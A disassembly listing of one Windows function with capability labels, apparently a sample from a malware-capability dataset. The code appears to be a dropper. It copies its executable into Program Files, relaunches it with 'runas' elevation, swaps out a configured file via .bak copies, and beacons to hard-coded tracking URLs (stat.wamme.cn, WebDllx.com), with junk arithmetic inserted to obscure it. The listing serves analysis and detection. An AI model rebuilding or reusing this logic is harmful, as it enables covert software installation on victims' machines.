Function at 0x402160
Capabilities:
Copy file
Create a process with modified i/o handles and window
Create directory
Create process on windows
Delete file
Initialize winsock library
Move file
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43fc7b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x12a8
call fcn.00425cd0
mov eax, dword [0x453ad4]
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor eax, eax
mov byte [ebp - 0x814], 0
mov ecx, 0x7f
lea edi, [ebp - 0x813]
rep stosd dword es:[edi], eax
mov ecx, dword [0x44f0fc]
stosw word es:[edi], ax
imul ecx, ecx, 0xad
stosb byte es:[edi], al
mov eax, dword [0x44f0f8]
imul eax, eax, 0x1f0
sub eax, ecx
add eax, 0x145
push 0
mov dword [str._r_____r____], eax
mov dword [ebp - 4], 0
call fcn.00425c8f
mov edx, dword [0x44f0f8]
mov ecx, dword [0x44f100]
imul edx, edx, 0x2ec
mov esi, eax
mov eax, dword [0x44f108]
imul eax, eax, 0xad
sub edx, eax
sub edx, ecx
sub edx, 0x145
add esp, 4
mov edi, 0x190
mov dword [0x44f0f0], edx
call fcn.0043d1f2
mov eax, dword [eax + 4]
mov ecx, dword [eax + 0x44]
push ecx
lea ecx, [ebp - 0xdb4]
call fcn.004020b0
mov ecx, dword [ebp - 0xdb4]
mov byte [ebp - 4], 1
lea edx, [ebp - 0x514]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x402240
lea eax, [ebp - 0x514]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402253
mov ecx, dword [0x44f0f4]
sub eax, edx
mov dword [ebp - 0xdac], eax
jne 0x4028ac
mov edx, dword [0x44f0f0]
mov eax, dword [0x44f10c]
imul edx, edx, 0x242
imul eax, eax, 0x1ef
push str.C:WINDOWS_system32driversetc_service3.ini
sub eax, edx
push 0x100
lea edx, [eax + ecx + 0x21a]
lea eax, [ebp - 0x114]
push eax
push 0x442e2d
push str.rand
push str.aaaaa
mov dword [0x44f0f8], edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea ecx, [ebp - 0x114]
push ecx
call fcn.00425c8a
add esp, 4
test eax, eax
jle 0x4022de
lea edx, [ebp - 0x114]
push edx
call fcn.00425c8a
add esp, 4
mov esi, eax
mov eax, esi
cdq
idiv edi
mov eax, edx
and eax, 0x80000001
jns 0x4022f1
dec eax
or eax, 0xfffffffe
inc eax
cmp eax, 1
jne 0x402329
mov eax, dword [0x44f100]
mov ecx, dword [0x44f0f4]
imul eax, eax, 0xad
imul ecx, ecx, 0x21a
sub eax, ecx
mov ecx, dword [0x44f0ec]
lea eax, [eax + ecx + 0x249]
mov dword [0x44f100], eax
lea ecx, [edx - 1]
lea eax, [edx + 1]
jmp 0x40235b
mov ecx, dword [0x44f0f0]
mov eax, dword [0x44f104]
imul ecx, ecx, 0x242
mov esi, dword [0x44f0ec]
imul eax, eax, 0x145
sub ecx, eax
sub ecx, esi
sub ecx, 0x249
mov dword [0x44f108], ecx
mov ecx, edx
lea eax, [edx + 2]
cmp eax, edi
mov dword [ebp - 0xda8], eax
jl 0x40236c
dec edx
mov dword [ebp - 0xda8], edx
mov edx, dword [str._r_____r____]
imul ecx, ecx, 0x1f
mov eax, 0x71625345
imul edx
sar edx, 8
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x17ad2209
imul dword [0x44f0f4]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
mov esi, dword [0x44f0f8]
lea ebx, [ecx + 0x44f110]
push ebx
sub eax, esi
lea ecx, [ebp - 0x214]
sub eax, 0x249
push str.C:Program_Files_s
push ecx
mov dword [0x44f0ec], eax
call fcn.00425baa
add esp, 0xc
push 0
lea edx, [ebp - 0x214]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov eax, dword [ebp - 0xda8]
imul eax, eax, 0x1f
add eax, 0x44f110
push eax
push ebx
lea ecx, [ebp - 0x214]
push str.C:Program_Files_s_s.exe
push ecx
call fcn.00425baa
mov ecx, dword [0x44f0fc]
mov eax, 0x71625345
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 8
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x17ad2209
imul ecx
mov ecx, dword [0x44f0f0]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add esi, ecx
mov ecx, dword [0x44f0f8]
add eax, edx
imul ecx, ecx, 0x1f0
lea eax, [eax + esi + 0x145]
mov dword [0x44f0fc], eax
imul eax, eax, 0xad
add esp, 0x10
push 0x100
lea edx, [ebp - 0x114]
sub ecx, eax
push edx
add ecx, 0x145
push 0
mov dword [ebp - 0xdb0], 0
mov dword [str._r_____r____], ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x100
lea eax, [ebp - 0x114]
push 0x8000
push eax
call fcn.00432508
mov esi, dword [0x44f0f8]
mov edx, dword [0x44f108]
mov ecx, esi
add esp, 0xc
imul ecx, ecx, 0x2ec
mov edi, eax
mov eax, dword [0x44f100]
imul edx, edx, 0xad
sub ecx, edx
sub ecx, eax
sub ecx, 0x145
cmp edi, 0xffffffff
mov dword [0x44f0f0], ecx
je 0x402655
mov eax, dword [0x44f10c]
imul ecx, ecx, 0x242
imul eax, eax, 0x1ef
sub eax, ecx
mov ecx, dword [0x44f0f4]
push 0x100000
lea edx, [eax + ecx + 0x21a]
push 0x454a60
push edi
mov dword [0x44f0f8], edx
call fcn.00431138
mov esi, eax
push edi
mov dword [ebp - 0xdac], esi
call fcn.004318f7
add esp, 0x10
cmp esi, 0x2800
jle 0x402649
mov ecx, dword [0x44f100]
mov eax, dword [0x44f0f4]
imul ecx, ecx, 0xad
mov edx, dword [0x44f0ec]
imul eax, eax, 0x21a
sub ecx, eax
lea eax, [ecx + edx + 0x249]
push 0
mov dword [0x44f100], eax
call fcn.00425c8f
push eax
push 0x442dec
push 0x454d60
call fcn.00425baa
push 0x180
lea ecx, [ebp - 0x214]
push 0x8302
push ecx
call fcn.00432508
mov esi, eax
add esp, 0x1c
cmp esi, 0xffffffff
je 0x402649
mov edx, dword [0x44f0f0]
mov eax, dword [0x44f104]
imul edx, edx, 0x242
mov ecx, dword [ebp - 0xdac]
imul eax, eax, 0x145
sub edx, eax
mov eax, dword [0x44f0ec]
push ecx
sub edx, eax
sub edx, 0x249
push 0x454a60
push esi
mov dword [0x44f108], edx
call fcn.0042ec03
push 2
push 0
push esi
call fcn.0042e98a
xor eax, eax
mov ecx, 0x80
lea edi, [ebp - 0xc14]
rep stosd dword es:[edi], eax
mov ecx, dword [str._r_____r____]
mov eax, 0x71625345
imul ecx
mov ecx, dword [0x44f0f4]
sar edx, 8
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x17ad2209
imul ecx
mov ecx, dword [0x44f0f8]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
sub eax, ecx
mov ecx, dword [ebp - 0xda8]
push ecx
lea edx, [ebp - 0xc14]
push edx
sub eax, 0x249
push esi
mov dword [0x44f0ec], eax
call fcn.0042ec03
push esi
call fcn.004318f7
add esp, 0x28
mov dword [ebp - 0xdb0], 1
mov esi, dword [0x44f0f8]
mov ecx, dword [0x44f0f0]
mov eax, 0xe1fc780f
imul ecx
add edx, ecx
sar edx, 9
mov edi, dword [0x44f104]
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0x71625345
imul dword [str._r_____r____]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xdb0]
sub ecx, edi
sub ecx, 0x21a
cmp eax, 1
mov dword [0x44f0f4], ecx
jne 0x4028a4
mov ecx, dword [0x44f0fc]
imul esi, esi, 0x1f0
imul ecx, ecx, 0xad
lea edx, [ebp - 0x214]
push edx
sub esi, ecx
lea eax, [ebp - 0x114]
push str._s__33201_
add esi, 0x145
push eax
mov dword [str._r_____r____], esi
call fcn.00425baa
mov edx, dword [0x44f100]
xor eax, eax
mov ecx, 0x11
lea edi, [ebp - 0xdf8]
rep stosd dword es:[edi], eax
mov eax, dword [0x44f0f8]
mov ecx, dword [0x44f108]
imul eax, eax, 0x2ec
imul ecx, ecx, 0xad
sub eax, ecx
sub eax, edx
mov edx, dword [0x44f10c]
sub eax, 0x145
imul edx, edx, 0x1ef
mov dword [0x44f0f0], eax
imul eax, eax, 0x242
add esp, 0xc
sub edx, eax
mov eax, dword [0x44f0f4]
lea ecx, [edx + eax + 0x21a]
lea edx, [ebp - 0xe08]
push edx
lea eax, [ebp - 0xdf8]
push eax
push 0
push 0
push 0x20
push 0
push 0
mov dword [0x44f0f8], ecx
push 0
lea ecx, [ebp - 0x114]
push ecx
push 0
mov dword [ebp - 0xdf8], 0x44
mov dword [ebp - 0xdcc], 1
mov word [ebp - 0xdc8], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4027bc
mov eax, dword [0x44f100]
mov edx, dword [0x44f0f4]
imul eax, eax, 0xad
mov ecx, dword [0x44f0ec]
imul edx, edx, 0x21a
sub eax, edx
lea edx, [eax + ecx + 0x249]
push 0
mov dword [0x44f100], edx
call fcn.00425b6a
mov eax, dword [0x44f0f0]
mov ecx, dword [0x44f104]
imul eax, eax, 0x242
mov edx, dword [0x44f0ec]
imul ecx, ecx, 0x145
sub eax, ecx
sub eax, edx
push ebx
lea edx, [ebp - 0x214]
sub eax, 0x249
push str.C:Program_Files_s
push edx
mov dword [0x44f108], eax
call fcn.00425baa
add esp, 0xc
push 1
lea eax, [ebp - 0x214]
push eax
push 0
lea ecx, [ebp - 0x114]
push ecx
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
push 0
jg 0x402fea
mov ecx, dword [str._r_____r____]
mov eax, 0x71625345
imul ecx
mov ecx, dword [0x44f0f4]
sar edx, 8
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x17ad2209
imul ecx
push 0
push 0
sar edx, 4
push 0
mov eax, edx
shr eax, 0x1f
push str.http:__stat.wamme.cn_C8C_gl_cnzz61.html_pagehttp:__www.WebDllx.com_RunExeFail
add esi, edx
mov edx, dword [0x44f0f8]
add eax, esi
push 0x452184
sub eax, edx
push 0
sub eax, 0x249
push 0
mov dword [0x44f0ec], eax
mov eax, dword [ebp + 8]
push 1
add eax, 0x74
push 0x68
push eax
call fcn.00437cf7
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x2c
push 0x2710
call ebx
mov ecx, dword [0x44f0f4]
jmp 0x4028b2
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4028b8
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [0x44f0f8]
mov eax, 0x71625345
imul dword [str._r_____r____]
sar edx, 8
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x17ad2209
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
lea edx, [ebp - 0xda4]
sub ecx, esi
push edx
sub ecx, 0x249
push 0x101
mov dword [0x44f0ec], ecx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x40290b
push 0
call fcn.00425b6a
push 3
push 0x452180
push 0x413c
call fcn.00401600
add esp, 0xc
test eax, eax
je 0x402966
mov eax, dword [0x44f0f0]
mov ecx, dword [0x44f104]
imul eax, eax, 0x242
mov esi, dword [0x44f0ec]
imul ecx, ecx, 0x145
sub eax, ecx
sub eax, esi
sub eax, 0x249
mov dword [0x44f108], eax
mov eax, dword [0x452180]
cmp eax, 0xffffffff
je 0x40295f
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
push 0
call fcn.00425b6a
mov edx, dword [0x44f0f8]
mov eax, dword [0x44f108]
imul edx, edx, 0x2ec
mov ecx, dword [0x44f100]
imul eax, eax, 0xad
sub edx, eax
sub edx, ecx
sub edx, 0x145
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x44f0f0], edx
call fcn.0042599d
add esp, 8
cmp eax, 0xffffffff
jne 0x4029c2
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.0042599d
add esp, 8
cmp eax, 0xffffffff
je 0x4029c2
push 0xea60
call ebx
mov ecx, dword [0x44f0f0]
mov eax, 0xe1fc780f
imul ecx
add edx, ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x71625345
imul ecx
mov ecx, dword [0x44f104]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, ecx
push 0
sub esi, 0x21a
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x44f0f4], esi
call fcn.0042599d
add esp, 8
cmp eax, 0xffffffff
je 0x402fb5
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.0042599d
add esp, 8
cmp eax, 0xffffffff
je 0x402fb5
mov ecx, dword [0x44f0fc]
mov eax, 0x71625345
imul ecx
mov ecx, dword [str._r_____r____]
mov edi, dword [0x44f0f0]
sar edx, 8
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x17ad2209
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x44f0f8]
add esi, edi
imul edx, edx, 0x1f0
lea eax, [ecx + esi + 0x145]
mov dword [0x44f0fc], eax
imul eax, eax, 0xad
push 0x442cf4
push 0x200
sub edx, eax
lea eax, [ebp - 0xa14]
push eax
push 0x442e2d
push str.ConfigL0
add edx, 0x145
push str.GameType1
mov dword [str._r_____r____], edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov edi, 0x442e2d
lea esi, [ebp - 0xa14]
mov ecx, 1
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x402d0e
mov eax, dword [0x44f0f8]
mov ecx, dword [0x44f108]
imul eax, eax, 0x2ec
mov edx, dword [0x44f100]
imul ecx, ecx, 0xad
sub eax, ecx
sub eax, edx
sub eax, 0x145
lea edx, [ebp - 0xa14]
push edx
mov dword [0x44f0f0], eax
lea eax, [ebp - 0x12b8]
push 0x12c
push eax
call fcn.004012d0
add esp, 0xc
cmp eax, 5
jl 0x402d0e
mov ecx, dword [0x44f0f0]
mov edx, dword [0x44f10c]
imul ecx, ecx, 0x242
mov eax, dword [0x44f0f4]
imul edx, edx, 0x1ef
sub edx, ecx
lea ecx, [edx + eax + 0x21a]
mov edx, dword [ebp - 0x12b8]
mov eax, edx
mov dword [0x44f0f8], ecx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402b62
sub eax, esi
mov cl, byte [eax + edx - 1]
mov eax, dword [ebp - 0x12ac]
push eax
cmp cl, 0x5c
push edx
lea ecx, [ebp - 0x414]
jne 0x402b89
push str._s_s
jmp 0x402b8e
push 0x442ccc
push ecx
call fcn.00425baa
mov eax, dword [0x44f100]
mov edx, dword [0x44f0f4]
imul eax, eax, 0xad
mov ecx, dword [0x44f0ec]
imul edx, edx, 0x21a
sub eax, edx
lea edx, [eax + ecx + 0x249]
add esp, 0x10
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x614]
push str._s.bak
push ecx
mov dword [0x44f100], edx
call fcn.00425baa
add esp, 0xc
push 0
lea edx, [ebp - 0x614]
push edx
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [ebp - 0x414]
push ecx
call esi
mov edx, dword [0x44f0f0]
mov eax, dword [0x44f104]
imul edx, edx, 0x242
mov edi, dword [0x44f0ec]
imul eax, eax, 0x145
sub edx, eax
sub edx, edi
lea ecx, [ebp - 0x414]
sub edx, 0x249
push 0
push ecx
mov dword [0x44f108], edx
call fcn.0042599d
add esp, 8
cmp eax, 0xffffffff
je 0x402c98
mov ecx, dword [str._r_____r____]
mov eax, 0x71625345
imul ecx
mov ecx, dword [0x44f0f4]
mov ebx, dword [0x44f0f8]
sar edx, 8
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x17ad2209
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
sub eax, ebx
lea ecx, [ebp - 0x614]
sub eax, 0x249
push ecx
mov dword [0x44f0ec], eax
call esi
push 0
call fcn.00425b6a
mov ecx, dword [0x44f0f0]
mov eax, 0xe1fc780f
imul ecx
add edx, ecx
mov ecx, dword [str._r_____r____]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x71625345
imul ecx
mov eax, dword [0x44f104]
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
sub esi, eax
lea edx, [ebp - 0x414]
push edx
lea eax, [ebp - 0x614]
sub esi, 0x21a
push eax
mov dword [0x44f0f4], esi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea eax, [ebp - 0x414]
lea ecx, [ebp - 0x814]
nop
mov dl, byte [eax]
inc eax
mov byte [ecx], dl
inc ecx
test dl, dl
jne 0x402d00
push 0x64
call ebx
mov ecx, dword [0x44f0fc]
mov eax, 0x71625345
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 8
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x17ad2209
imul ecx
mov ecx, dword [0x44f0f0]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
add esi, ecx
lea edx, [eax + esi + 0x145]
lea eax, [ebp - 0x814]
mov dword [0x44f0fc], edx
lea esi, [eax + 1]
lea ebx, [ebx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402d60
sub eax, esi
mov dword [ebp - 0xdac], eax
push 0
jne 0x402d78
call fcn.00425b6a
mov eax, dword [0x44f104]
imul ecx, ecx, 0x242
mov edx, dword [0x44f0ec]
imul eax, eax, 0x145
sub ecx, eax
sub ecx, edx
sub ecx, 0x249
mov dword [0x44f108], ecx
lea ecx, [ebp - 0x814]
push ecx
call fcn.0042599d
add esp, 8
cmp eax, 0xffffffff
jne 0x402e7e
mov ecx, dword [0x44f0f4]
mov eax, 0x71625345
imul ecx
mov ecx, dword [0x44f100]
sar edx, 8
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x17ad2209
imul ecx
push 0
push 0
push 0
sar edx, 4
push 0
mov eax, edx
shr eax, 0x1f
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_pagehttp:__www.WebDllx.com_NoDllx
add esi, edx
add eax, esi
mov esi, dword [0x44f0fc]
push 0x452184
sub eax, esi
push 0
sub eax, 0x1ef
push 0
mov dword [0x44f10c], eax
mov eax, dword [ebp + 8]
push 1
add eax, 0x74
push 0x68
push eax
call fcn.00437cf7
add esp, 0x2c
push 0x2710
call ebx
mov ecx, dword [0x44f0f8]
mov edx, dword [0x44f0fc]
imul ecx, ecx, 0x1f0
imul edx, edx, 0xad
sub ecx, edx
add ecx, 0x145
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [str._r_____r____], ecx
call fcn.0042599d
add esp, 8
cmp eax, 0xffffffff
je 0x402e77
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.0042599d
add esp, 8
cmp eax, 0xffffffff
jne 0x402e7e
push 0
call fcn.00425b6a
lea ecx, [ebp - 0x814]
lea edx, [ebp - 0x614]
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x402e90
mov eax, dword [0x44f0f8]
mov ecx, dword [0x44f108]
imul eax, eax, 0x2ec
mov esi, dword [0x44f100]
imul ecx, ecx, 0xad
sub eax, ecx
sub eax, esi
sub eax, 0x145
push 0x132b600
mov dword [0x44f0f0], eax
call sym.CallDll.exe_int___cdecl_process5_int_
add esp, 4
push 0x1388
call ebx
mov ecx, dword [0x44f0fc]
mov eax, 0x71625345
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 8
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x17ad2209
imul ecx
push 0
push 0
push 0
push 0
sar edx, 4
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_pagehttp:__www.WebDllx.com_NewRun
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x44f0f0]
push 0x452184
push 0
add esi, edx
lea ecx, [eax + esi + 0x145]
mov eax, dword [ebp + 8]
push 0
push 1
add eax, 0x74
push 0x68
push eax
mov dword [0x44f0fc], ecx
call fcn.00437cf7
add esp, 0x2c
push 0x2710
call ebx
mov edx, dword [0x44f0f0]
mov eax, dword [0x44f10c]
imul edx, edx, 0x242
mov ecx, dword [0x44f0f4]
imul eax, eax, 0x1ef
sub eax, edx
lea edx, [eax + ecx + 0x21a]
mov dword [0x44f0f8], edx
xor esi, esi
lea ebx, [ebx]
mov ecx, dword [0x44f100]
mov eax, dword [0x44f0f4]
imul ecx, ecx, 0xad
mov edx, dword [0x44f0ec]
imul eax, eax, 0x21a
sub ecx, eax
lea eax, [ecx + edx + 0x249]
push 0x2710
mov dword [0x44f100], eax
call ebx
inc esi
jmp 0x402f80
mov ecx, dword [0x44f0f0]
mov edx, dword [0x44f10c]
imul ecx, ecx, 0x242
mov eax, dword [0x44f0f4]
imul edx, edx, 0x1ef
sub edx, ecx
lea ecx, [edx + eax + 0x21a]
push 0x493e0
mov dword [0x44f0f8], ecx
call ebx
push 0
call fcn.00425b6a
mov eax, 0x402fe8
ret